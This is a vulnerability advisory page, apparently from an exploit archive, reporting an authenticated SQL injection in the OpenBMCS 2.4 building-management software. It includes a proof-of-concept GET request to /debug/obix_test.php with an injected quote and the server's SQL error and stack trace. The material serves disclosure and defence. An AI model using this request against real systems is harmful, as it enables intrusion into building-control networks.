eb2b6f5cfd
12 changes to exploits/shellcodes WorkTime 10.20 Build 4967 - Unquoted Service Path Archeevo 5.0 - Local File Inclusion Online Resort Management System 1.0 - SQLi (Authenticated) OpenBMCS 2.4 - Cross Site Request Forgery (CSRF) OpenBMCS 2.4 - SQLi (Authenticated) OpenBMCS 2.4 - Create Admin / Remote Privilege Escalation OpenBMCS 2.4 - Server Side Request Forgery (SSRF) (Unauthenticated) OpenBMCS 2.4 - Information Disclosure Simple Chatbot Application 1.0 - Remote Code Execution (RCE) Simple Chatbot Application 1.0 - 'message' Blind SQLi Nyron 1.0 - SQLi (Unauthenticated) Creston Web Interface 1.0.0.2159 - Credential Disclosure
73 lines
No EOL
2.4 KiB
Text
73 lines
No EOL
2.4 KiB
Text
# Exploit Title: OpenBMCS 2.4 - SQLi (Authenticated)
|
|
# Exploit Author: LiquidWorm
|
|
# Date: 26/10/2021
|
|
|
|
OpenBMCS 2.4 Authenticated SQL Injection
|
|
|
|
|
|
Vendor: OPEN BMCS
|
|
Product web page: https://www.openbmcs.com
|
|
Affected version: 2.4
|
|
|
|
Summary: Building Management & Controls System (BMCS). No matter what the
|
|
size of your business, the OpenBMCS software has the ability to expand to
|
|
hundreds of controllers. Our product can control and monitor anything from
|
|
a garage door to a complete campus wide network, with everything you need
|
|
on board.
|
|
|
|
Desc: OpenBMCS suffers from an SQL Injection vulnerability. Input passed via
|
|
the 'id' GET parameter is not properly sanitised before being returned to the
|
|
user or used in SQL queries. This can be exploited to manipulate SQL queries
|
|
by injecting arbitrary SQL code.
|
|
|
|
Tested on: Linux Ubuntu 5.4.0-65-generic (x86_64)
|
|
Linux Debian 4.9.0-13-686-pae/4.9.228-1 (i686)
|
|
Apache/2.4.41 (Ubuntu)
|
|
Apache/2.4.25 (Debian)
|
|
nginx/1.16.1
|
|
PHP/7.4.3
|
|
PHP/7.0.33-0+deb9u9
|
|
|
|
|
|
Vulnerability discovered by Semen 'samincube' Rozhkov
|
|
@zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2022-5692
|
|
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5692.php
|
|
|
|
|
|
26.10.2021
|
|
|
|
--
|
|
|
|
|
|
The following PoC request demonstrates the issue (authenticated user session is required):
|
|
|
|
GET /debug/obix_test.php?id=1%22 HTTP/1.1
|
|
Host: 192.168.1.222
|
|
Cookie: PHPSESSID=ssid123ssid123ssid1234ssid
|
|
Connection: close
|
|
|
|
|
|
Response:
|
|
|
|
HTTP/1.1 200 OK
|
|
Date: Sat, 1 Jan 2022 15:09:54 GMT
|
|
Server: Apache/2.4.10 (Debian)
|
|
Expires: Thu, 19 Nov 1981 08:52:00 GMT
|
|
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
|
|
Pragma: no-cache
|
|
Vary: Accept-Encoding
|
|
Content-Length: 629
|
|
Connection: close
|
|
Content-Type: text/html; charset=UTF-8
|
|
|
|
<br />
|
|
<b>Fatal error</b>: Uncaught exception 'PDOException' with message 'SQLSTATE[HY000]: General error: 1 unrecognized token: """' in /var/www/openBMCS/classes/dbconnection.php:146
|
|
Stack trace:
|
|
#0 /var/www/openBMCS/classes/dbconnection.php(146): PDO->query('SELECT ip_addre...')
|
|
#1 /var/www/openBMCS/php/obix/obix.functions.php(289): controllerDB->querySingle('SELECT ip_addre...', true)
|
|
#2 /var/www/openBMCS/debug/obix_test.php(16): sendObixGetTocontroller(Object(controllerDB), '1"', '/obix/config')
|
|
#3 {main}
|
|
thrown in <b>/var/www/openBMCS/classes/dbconnection.php</b> on line <b>146</b><br /> |